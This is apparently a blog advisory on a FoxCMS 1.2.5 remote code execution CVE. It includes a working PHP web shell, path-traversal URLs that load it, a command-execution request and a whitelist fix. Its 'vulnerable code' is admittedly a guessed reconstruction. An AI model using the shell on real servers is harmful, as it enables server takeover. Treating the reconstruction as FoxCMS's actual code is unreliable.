A newly discovered vulnerability, CVE-2025-29306, affects FoxCMS v1.2.5. It allows a remote attacker to execute arbitrary code by exploiting improper input handling on the case display page through the index.html component. This vulnerability lets attackers run malicious code on the server, compromising website security and potentially providing access to sensitive user information.

This post will explain the bug in simple terms, provide code snippets, show how an attacker could exploit it, and point to original sources.

What is FoxCMS?

FoxCMS is an open-source content management system (CMS) used to manage website content. Version 1.2.5 is affected by this vulnerability.

Where Is the Vulnerability?

The flaw is in the index.html component of FoxCMS. When users access case display pages (used to show content like portfolio items or case studies), the system does not correctly filter input provided via the URL parameters.

Let’s look at a simplified version of the problematic code.

Vulnerable Code Snippet

In the index.html handler (typically index.php or an equivalent backend script), there is a handler for displaying case details. It might look like this in PHP (the language FoxCMS uses):

// index.php
if ($_GET['page'] === 'case' && isset($_GET['display'])) {
    $case = $_GET['display'];
    include("case/{$case}.php"); // <- Vulnerable to path traversal / code injection
}

The script takes a URL parameter (display) and directly includes a PHP file whose name is determined by user input. There is no sanitization, filtering, or validation.

An attacker can craft a URL like

http://victim.com/index.php?page=case&display=../../uploads/malicious

If the attacker uploads a PHP file named malicious.php in a writable folder like uploads, the include statement will run code from that file.

Even more dangerously, the attacker could access system files or use remote file inclusion (if remote URLs are allowed by PHP configuration).

1. Upload Malicious PHP File

Suppose the attacker can upload files to /uploads (many CMS systems allow users to upload images or files).

They upload a file named malicious.php with contents

<?php
// Simple web shell
if (isset($_REQUEST['cmd'])) {
    echo "<pre>";
    system($_REQUEST['cmd']);
    echo "</pre>";
}
?>

They visit

http://victim.com/index.php?page=case&display=../../uploads/malicious

- This includes uploads/malicious.php because include("case/../../uploads/malicious.php") resolves to uploads/malicious.php.

Now, the attacker can run commands on the server via

http://victim.com/index.php?page=case&display=../../uploads/malicious&cmd=whoami

This command would print the web server username—a first step to further compromise.

Instead of directly using input, define a whitelist of displayable cases

$allowed_cases = ['example1', 'example2', 'example3'];
$case = $_GET['display'];
if (in_array($case, $allowed_cases)) {
    include("case/{$case}.php");
} else {
    die("Invalid case selected.");
}

Or better, use a switch statement or routing mechanism with no user-inputted file includes.

References

- Original Repository - FoxCMS
- NVD Entry for CVE-2025-29306 *(Pending: placeholder for when published)*
- PHP include() Manual
- OWASP Path Traversal
- Common Security Mistakes in CMS

Summary Table

| CVE ID | Product | Version | Attack Vector | Impact | Status |
|-----------------|------------|----------|--------------|------------------------|-------------|
| CVE-2025-29306 | FoxCMS | 1.2.5 | Remote | Remote Code Execution | Unpatched |

In Conclusion

CVE-2025-29306 is a straightforward but critical vulnerability in FoxCMS v1.2.5. It underlines the risks of using user input unsafely in file includes. All FoxCMS users should update or apply mitigations immediately. If you are running FoxCMS v1.2.5, review your codebase and protect your sites!

*Stay safe, patch early, and always sanitize your inputs!*

Timeline

Published on: 03/27/2025 19:15:49 UTC
Last modified on: 04/11/2025 17:50:50 UTC